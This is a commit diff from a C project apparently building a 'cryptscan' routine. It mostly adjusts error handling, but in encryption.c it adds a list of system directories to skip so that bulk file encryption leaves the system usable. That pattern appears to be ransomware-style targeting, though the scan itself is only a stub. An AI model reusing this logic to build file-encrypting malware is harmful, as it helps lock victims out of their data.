summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
author@syxhe <https://t.me/syxhe>2025-12-27 23:10:06 -0600
committer@syxhe <https://t.me/syxhe>2025-12-27 23:10:06 -0600
commit9bf40160e911dd6c2affa856c375193ae0579947 (patch)
treebeb2a2c4994a797184d048851e430ed659fc272b /src
parentc8ab26e9f5aa398a208fcac3d8d11335f6c72632 (diff)
Start working on cryptscan again
Diffstat (limited to 'src')
-rw-r--r--src/encryption.c35
-rw-r--r--src/shared.c7
-rw-r--r--src/tests.c11
3 files changed, 38 insertions, 15 deletions
diff --git a/src/encryption.c b/src/encryption.c
index 9b264dc..e304e6e 100644
--- a/src/encryption.c
+++ b/src/encryption.c
@@ -287,9 +287,9 @@ int encryptviatmp(const char * const target, const char * const output, const un
287 res = 0; 287 res = 0;
288 288
289CLEANUP_encryptviatmp: 289CLEANUP_encryptviatmp:
290 // TODO: Add warning messages for verbose errors
291 if(___VXGG___VERBOSE_ERRORS___) { 290 if(___VXGG___VERBOSE_ERRORS___) {
292 switch (eflag) { 291 switch (eflag) {
292 case 0: break;
293 case 1: WARN(errno, "<encryptviatmp> Warning: Could not open target fd \"%s\"",, target); 293 case 1: WARN(errno, "<encryptviatmp> Warning: Could not open target fd \"%s\"",, target);
294 case 2: WARN(errno, "<encryptviatmp> Warning: Could not get real dirname for \"%s\"",, output); 294 case 2: WARN(errno, "<encryptviatmp> Warning: Could not get real dirname for \"%s\"",, output);
295 case 3: WARN(errno, "<encryptviatmp> Warning: Could not make temp file in target dir \"%s\"",, targetdir); 295 case 3: WARN(errno, "<encryptviatmp> Warning: Could not make temp file in target dir \"%s\"",, targetdir);
@@ -297,10 +297,10 @@ CLEANUP_encryptviatmp:
297 case 5: WARN(errno, "<encryptviatmp> Warning: Could not get FILE* handle for output file",); 297 case 5: WARN(errno, "<encryptviatmp> Warning: Could not get FILE* handle for output file",);
298 case 6: ERROR(1, ENOTRECOVERABLE, "<encryptviatmp> ERROR: I don't even have a way to cause an error here. How did you do it?",); 298 case 6: ERROR(1, ENOTRECOVERABLE, "<encryptviatmp> ERROR: I don't even have a way to cause an error here. How did you do it?",);
299 case 7: WARN(errno, "<encryptviatmp> Warning: Could not link \"%s\" into system after encryption",, output); 299 case 7: WARN(errno, "<encryptviatmp> Warning: Could not link \"%s\" into system after encryption",, output);
300 default: WARN(0, "<encryptviatmp> Warning: Ran into some unknown error",);
300 } 301 }
301 } 302 }
302 303
303
304 free(targetdir); 304 free(targetdir);
305 fclose(src); 305 fclose(src);
306 fclose(dst); 306 fclose(dst);
@@ -436,21 +436,30 @@ int genpassword(char **str, unsigned int words) {
436// fast, but I can also just reuse code I've already written and not make some absolute spaghetti mess trying to do everything 436// fast, but I can also just reuse code I've already written and not make some absolute spaghetti mess trying to do everything
437// linearly 437// linearly
438 438
439int __cscan_worker(void *data) { 439/// Directory entries (files and folders) to exclude from encryption
440 if(!data) return -1; 440#define EXCLUDED_ENTRIES ((const char* const []){\
441 /* Entries found in /home/<user> */ \
442 ".config", ".bashrc", \
443 /* Entries included for extra safety, so that the encryption doesn't accidentally render the system unusable */ \
444 "bin", "dev", "lib", "root", "boot", "etc", "lib32", "run", "sys", "usr", "home", "lib64", "proc", "sbin", "var"\
445})
441 446
442 return 0; 447/// Helper function to select files to be encrypted
443} 448static int _cryptscan__selector(const struct dirent *de) {
449 // entries with non-zero returns get included, zeros get excluded
450 if(!de) return 0;
444 451
445ctqueue * cryptscan() { 452 for(int i = 0; i < STATIC_ARRAY_LEN(EXCLUDED_ENTRIES); i++) {
446 ctqueue *res = ctqueue_init(TPSIZE), *working = ctqueue_init(TPSIZE); 453 if(strncmp(de->d_name, EXCLUDED_ENTRIES[i], sizeof(de->d_name)) == 0)
447 if(!res || !working) ERRRET(errno, NULL); 454 return 0;
455 }
456
457 return 1;
458}
448 459
449 task *start = task_new(__cscan_worker, free, NULL); 460ctqueue * cryptscan(int threads, const char * const start) {
450 if(!start) ERRRET(errno, NULL); 461 if(!start || threads < 1) return NULL;
451 ctqueue_waitpush(working, start);
452 462
453 return res;
454} 463}
455 464
456#endif \ No newline at end of file 465#endif \ No newline at end of file
diff --git a/src/shared.c b/src/shared.c
index b6d27e4..1dd0309 100644
--- a/src/shared.c
+++ b/src/shared.c
@@ -29,8 +29,10 @@
29 29
30//! Macro to exit on an alloc error instead of doing the terrible nested if statement that was being used previously 30//! Macro to exit on an alloc error instead of doing the terrible nested if statement that was being used previously
31#define XALLOC_EXIT(msg, ...) do { \ 31#define XALLOC_EXIT(msg, ...) do { \
32 if(___VXGG___VERBOSE_ERRORS___) error(EXIT_FAILURE, errno, (msg)__VA_ARGS__); \ 32 if(___VXGG___VXALLOC_EXIT_ON_ERROR___) { \
33 if(___VXGG___VXALLOC_EXIT_ON_ERROR___) exit(EXIT_FAILURE); \ 33 if(___VXGG___VERBOSE_ERRORS___) error(EXIT_FAILURE, errno, (msg)__VA_ARGS__); \
34 exit(EXIT_FAILURE); \
35 } \
34 abort(); \ 36 abort(); \
35} while (0) 37} while (0)
36 38
@@ -102,6 +104,7 @@ int rwbuf(char **str, unsigned long int initsize, int fd) {
102ERR_rwbuf: 104ERR_rwbuf:
103 if(___VXGG___VERBOSE_ERRORS___) { 105 if(___VXGG___VERBOSE_ERRORS___) {
104 switch (eflag) { 106 switch (eflag) {
107 case 0: break;
105 case 1: WARN(errno, "Could not reallocate enough space for lstr",); break; 108 case 1: WARN(errno, "Could not reallocate enough space for lstr",); break;
106 case 2: WARN(errno, "Ran into a read() error",); break; 109 case 2: WARN(errno, "Ran into a read() error",); break;
107 case 3: WARN(errno, "Could not shrink lstr after reading buffer",); break; 110 case 3: WARN(errno, "Could not shrink lstr after reading buffer",); break;
diff --git a/src/tests.c b/src/tests.c
index a7531e8..251a580 100644
--- a/src/tests.c
+++ b/src/tests.c
@@ -1,3 +1,14 @@
1/**
2 * @file tests.c
3 * @author syxhe (https://t.me/syxhe)
4 * @brief A set of unit tests
5 * @version 0.1
6 * @date 2025-11-10
7 *
8 * @copyright Copyright (c) 2025
9 *
10 */
11
1#define _GNU_SOURCE 1 12#define _GNU_SOURCE 1
2 13
3#include "shared.c" 14#include "shared.c"